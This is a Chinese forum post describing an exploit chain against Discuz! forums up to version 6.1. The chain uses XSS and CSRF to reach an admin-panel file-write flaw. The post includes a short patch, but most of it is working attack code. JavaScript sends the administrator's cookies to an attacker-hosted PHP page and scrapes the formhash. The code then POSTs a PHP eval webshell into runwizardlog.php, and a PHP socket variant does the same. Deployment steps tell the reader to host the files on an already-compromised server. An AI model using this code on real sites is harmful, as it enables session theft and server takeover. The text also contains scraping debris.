Discuz XSS得webshell
* h1 B; U& n/ y0 U, m7 fBy racle @tian6.com' Y& H3 v7 J: [0 ]8 r- ^
欢迎转帖.但请保留版权信息.
! F" l0 B- |2 t Z: W s% Y受影响版本 iscuz<=6.1.0,gbk+utf+big50 C/ y4 X$ ~; [8 O' p
+ Z5 X6 d. }) G( U# o8 y
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
4 d- |* I1 Y. B6 h, S! \9 O' I9 {+ }' P! ?
R5 i- O4 t8 B3 O. L0 s0 g% T3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
- f) X9 R& _7 G) \* a) S当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
9 Q; V7 `. u) d" H: t- @2 ^: R1 f
* ^7 B, f8 [3 R6 ^4 R4 `分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等... z9 F- r/ p, g- _# R- i: \
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS6 H; ]2 C) {! K) B3 r7 R/ q
2 P1 D( c" r( g: s/ U8 t6 q) R6 H: y0 W
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------& U a( A( d- H0 R4 ^5 [* @! v
; Y- c9 m2 D# m. O# ?" m4 k/ X, Z1 B# r5 q
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
" Y; Z+ B# m9 W/ d0 q( s+ _
2 z8 z# M. }5 H. p C* pproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.8 {. D* i7 Z* B/ d3 g* F$ m
g4 b. i' s/ a- Oproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.5 E9 | V0 \) A; [
/ f) n. i; C* S( V: G
. ^: ~8 p+ }2 u" l( K
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {" f* [# p9 S y& t6 A
9 [5 @- Z7 j8 E
global $runwizardfile, $runwizardhistory;
* ~9 }( t: |/ I$ V/ j! I( h4 l7 b/ P' _5 L, h- G3 Q
$fp = fopen($runwizardfile, 'w');) x9 D, @, e$ k A
6 d# t3 S2 @) o- W0 L1 y9 I fwrite($fp, serialize($runwizardhistory));
4 S( `2 {: k$ t/ ?' k- v) l
; C" ?; G0 j& R' g1 j2 @3 L" E fclose($fp);6 s# h/ K' y& K- _, `) a
4 n7 l/ u @" x Y& A7 H) ^5 Q}
- U1 e1 s5 G+ L0 f- T ?复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
! W! s, y: X3 j# z7 n3 d5 f7 R2 |; x以下是修补的办法:function saverunwizardhistory() {
1 ]- Y- M& ~( H7 y6 m# ^3 h
5 e& X" N! W0 ] N) A0 ^2 F& f3 m global $runwizardfile, $runwizardhistory;; A/ T* S+ i7 h
+ [, b1 u$ v- R8 O" ?9 n $fp = fopen($runwizardfile, 'w');
5 Q t; a: Z1 @9 j5 |0 @+ E+ x& H$ H" C9 T, q" \. P) ~
$s = '<?php exit;?>';
) D& R3 i5 }2 c& Q) c" \- @4 F% p" W7 _6 }$ f* N" I
$s .= serialize($runwizardhistory);
( D0 H2 t3 k9 O. s$ k! P& ^3 Z; h* `( ?$ \6 }0 E
fwrite($fp, $s);
+ ~8 ^# n2 L' {! |$ ?2 q$ k; [. A2 u
4 t' N1 x/ M& w* b" X/ i" D fclose($fp);
/ v5 f+ x/ G; X. t3 n
6 h/ f( D- u; M5 F, \6 k}
* I2 L" t) H8 y+ C# ]$ A复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.7 j* }) l8 P6 Q- m
8 k3 W5 w% L; n
3 b/ f1 Q* \! ], Y5 V, [( |) g. ^. x$ `& [
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
7 x$ v: Q3 f; P6 J7 ` t( h. G
2 j7 E1 p2 w4 U5 L3 O1 w4 J+ W: ~3 l
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
, ^; [4 F$ H8 l6 {; @- V& E% I T- G1 Y/ V) x
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.! _" m q' w" Q0 }- t
2 i- W& S5 M+ e- l* T4 v3 ]& t
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少. s, h" g8 K+ ^* d5 J
5 |/ f9 \# n4 }- K1 `5 S5 v3 [首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
# s% y5 |: G$ h9 C J: P9 U
5 t, C/ b: r& _/ h, }% |var url="http://目标网站/admincp.php";
* e N1 {" M. w
! }0 W/ Q- M5 ?, h6 A. {9 f/*获得cookies*/3 V9 b- L* o' \9 Z3 B
0 ]2 T! d# A0 R( D8 U, Yfunction getURL(s) {8 H0 f; ~5 W8 a0 V
, b& F0 y8 j+ |7 e9 C
var image = new Image();
b0 j$ @, T A/ D* ^# Z }9 W' |) o. L8 h3 X& n
image.style.width = 0;) ]& o2 x+ p, i' A0 g
^0 ?. n4 g" d( O" Z& @image.style.height = 0;7 |6 `. {$ U8 g/ q( w
7 h6 N7 v' b, w- |
image.src = s;
6 t: [$ i0 y1 N1 F. v6 {6 Z
: ~4 o& T! k( o! _/ J1 C( [}& |1 ?& }: O; ~' P. {
7 q+ ^) h% M+ j8 q$ x: vgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php1 F, f9 B, W% U- e s' W: J
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
- b! p5 ~, P9 ?. f复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) : w/ N' e0 b. ~% n
9 E4 B! s& M) j$ W$ q/ c' ~1 x2 N+ J2 @$ _
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";' B; u; j. V3 Q2 V v& c* w0 E
% z, h' }( e+ q8 U: F v9 X. ^0 g- S( p# U/ C4 D
3 i g, b* ~1 f5 n* [# a
/*hash*/+ V# u' E( X8 m( w
' i7 Q2 {0 P, y9 ~7 V
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");4 e4 B( o7 j" E! A7 \- a2 x
) p7 m' s7 c! m2 U% ?! _! l& qxmlHttpReq.open("GET", url+"admincp.php?action=home", false);" F, a& c% q# Z: }, d# s
9 b/ l" B% ~, [
xmlHttpReq.send();
% w6 q4 L0 i# e9 r3 c1 U, s. P1 b
, S1 a, N) y2 bvar resource = xmlHttpReq.responseText;
x2 T: Q2 Y9 W$ L) |- T
% l- q1 r8 M( M" d6 ]4 i# Ivar numero = resource.search(/formhash/); a+ ?5 A# j5 q+ C' C X
( M7 f5 V8 m6 kvar formhash=encodeURIComponent(resource.substr(numero+17,8));0 \# ~( o3 k) Z6 M: S# f o
- F( b2 Y: `$ U- X
5 W7 V" K. F' ^" F
' V5 ]1 s: b+ @/ N# y& yvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
) _9 |6 \- {0 E4 E0 b
2 s7 e7 a/ S) P: N/ t1 E& ZxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 . P% n+ Y9 Y2 ]
+ y9 C$ V4 b1 k/ U4 y5 _xmlHttpReq.setRequestHeader("Referer", url);- o* \5 ]6 ^6 m5 g- C
8 G+ U7 o/ \# O. N1 pxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");" ?% Q; O* ~8 Q8 u @
+ m# A0 u! U' i' y2 }
xmlHttpReq.setrequestheader("content-length",post.length); * ^0 d# S% N [& R# q8 {7 T* X
0 h& V& @* ]# K! oxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
' ?) D! `2 K/ L/ L4 o5 M+ r6 b
* {' k0 b3 n% j" fxmlHttpReq.send(post);//发送数据% ^! E' w% s4 n6 x4 K
复制代码这里HASH我假设正确,这样提交,也无须cookies
! M* L9 o; ?: _" a
9 U* P' L8 T" p% v4 {再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
' k& e: q* x: S- ^+ B4 O, P
$ p" \7 r; w/ `; [0 h/ cif (!$sock) die("$errstr ($errno)\n");6 G: \% n5 P4 I- t4 T9 y" [# Z
2 @4 _6 W1 `) P. V$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
" x1 y5 j4 a. w4 e* c2 u5 Q' M' q; F" ~, C2 E+ u- l- t
7 P' w$ [% @4 `+ K& r
* L: ^) D) |5 F5 e9 d% Tfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
1 u; o$ g% V+ D; ?7 n/ J) @
) b( ]! S6 x2 |; t* D# t& o |fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
: o/ G9 V( ^* j3 [: u5 e5 H8 R+ W# O0 A; L6 a7 X$ O/ P
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");9 j: r8 Q# F' N; }# ?7 v
3 C4 k# n& [( _# W1 K, `) @
fwrite($sock, "Accept-Language: zh-cn\r\n");- _0 c/ Y$ T7 J0 r
* u6 ]- L/ `# l/ `
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
$ j+ Y& O9 D {* `, O1 D. v) P s$ e5 k
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
: i6 h: s1 O( D+ a) e* R! ^
( L) |6 @9 G4 g Dfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");8 Y5 ]: x4 O4 h4 z; c
, h4 D( Z0 B2 L: B1 T4 A0 |4 xfwrite($sock, "Host: $url\r\n");# C* I8 E3 \" V$ X6 m) O% ^
) u" ~% _* q+ H% u) Q# B+ T
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");" f& C4 P) m4 {; f) @2 A+ q
# E! E; ^3 z# G# \, `
fwrite($sock, "Connection: Keep-Alive\r\n");% o7 z6 v# n" q, _! v0 Y
3 f% R- k2 L( Dfwrite($sock, "Cache-Control: no-cache\r\n");! a# g. w1 b- }8 ?) E" B5 b7 G2 R
% O6 X/ M$ y! ] K* T7 a/ K
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");7 e3 l; y& z. O0 T3 n) I7 e1 O( ?
" H5 m$ E" g% l6 I( E" m5 D/ s: p$ Lfwrite($sock, $data);
; |# v& r+ H( s' |; w4 H. |" _0 z0 u$ | b) f
' g8 j+ q2 B& J1 q' ]7 S* P# ~, P, {. i1 h( e
$headers = "";2 r6 W) D$ ~% j0 k: J1 w
L; t* y" b! L% J: \
while ($str = trim(fgets($sock, 4096)))3 y9 O9 x6 o" g2 ?
3 u" s' x9 l6 `! c $headers .= "$str\n";# m2 v. S: h) i3 U5 Z7 \$ X) Z3 A
1 L( W: x: e9 h2 w4 [2 ?7 h: Iecho "\n";
' `. K$ y/ {, E$ B' _' m; b
! S: R7 C6 s% C$body = "";
3 }7 P9 D1 c1 K- `
: w8 i# S, u; q9 {while (!feof($sock))
* [' i. i% b$ C6 s
6 D3 S$ E/ @( r $body .= fgets($sock, 4096);
- e# W; h1 w- P# a" f1 s& \+ X* |# V4 b! N
fclose($sock);" C5 w6 W+ }* [7 b" _3 O2 p; r6 e
: C4 |% p. I( a7 W. l( |echo $body; h2 B( ?9 m& e
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
5 l w) w: N( v7 S- B4 s# m1 E5 n. H/ L; W/ _
Q# P8 S. g! C) h/ O$ C3 W
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------" s1 s2 Y. y5 `! V6 U
1 n7 [; f( B0 Z1 }& A0 _. x# i( R4 Z/ Z' p
1 HP SOCKET利用方法首先打开racle.js
1 ~- l% I9 p; T; I4 o- R# T
& i# K! O- C; Q, p9 W% cvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home7 `- I/ Q; g4 f$ H" {7 _
. m/ R ~1 g0 `0 T8 t" f: f
8 N. R5 v2 K+ ?& b; e/ V, w, C
8 r4 N4 S3 d5 z1 w& m! {然后打开racle@tian6.php
; {, v8 i+ t2 z2 t% G5 f+ e
$ g. g1 p- i7 i3 o6 ^! S2 D4 L7 A4 G$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com2 e3 P7 D7 F F: |) u
5 U5 E2 Z/ l" ~" a+ ?8 J
% j% n7 \6 i3 ^. q" w5 I+ F5 c {2 s7 b7 M4 R. u2 B
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:$ G# O9 A- H+ f. t% V7 l
* t2 {4 y/ e1 ~) Q# N
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));; y% y4 Y) O: C% j1 ]
8 Y7 P* J+ @5 p5 a
为
3 ^" k# \' B8 Q# ?7 e8 }# `+ D/ t8 c2 R
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
1 ]( V/ u2 v9 S8 O# l复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.3 Q5 v. ?3 v% s" k8 z) H
" Q& ^/ A" {0 J% K+ a
3 v! F/ F0 Q( K( `' E+ j9 V- Y7 @, r; f& |( {
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:3 o0 Q* V/ G6 E& x% O
+ P6 _9 N7 B$ B1 j2 l$ g( E2 Kvar formhash=encodeURIComponent(resource.substr(numero+17,8));5 ~2 X+ O% \& A o
% |$ k/ C7 I) s: P
为
0 J: L7 M9 A& Q9 X; s+ w" H* s% P$ b: G: S0 | E$ i
var formhash=encodeURIComponent(resource.substr(numero+9,8));
+ `* L3 f* n8 r" V' @3 e* k复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.( L- a' G7 D3 d7 d' O
7 j6 j+ J! r1 O1 e- c( j
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.6 ^ @$ `+ b: Z0 L% d9 N- q
+ I+ [) j8 q$ z1 Q* U如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.! d/ C% G9 E/ }; H( }, ?2 o" R
3 j# H. R3 {7 Z e y) t# }( f7 D3 _ G不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.$ i) E# t) Z+ k( a9 L) C0 U
( k: l+ k" w( X' F Y |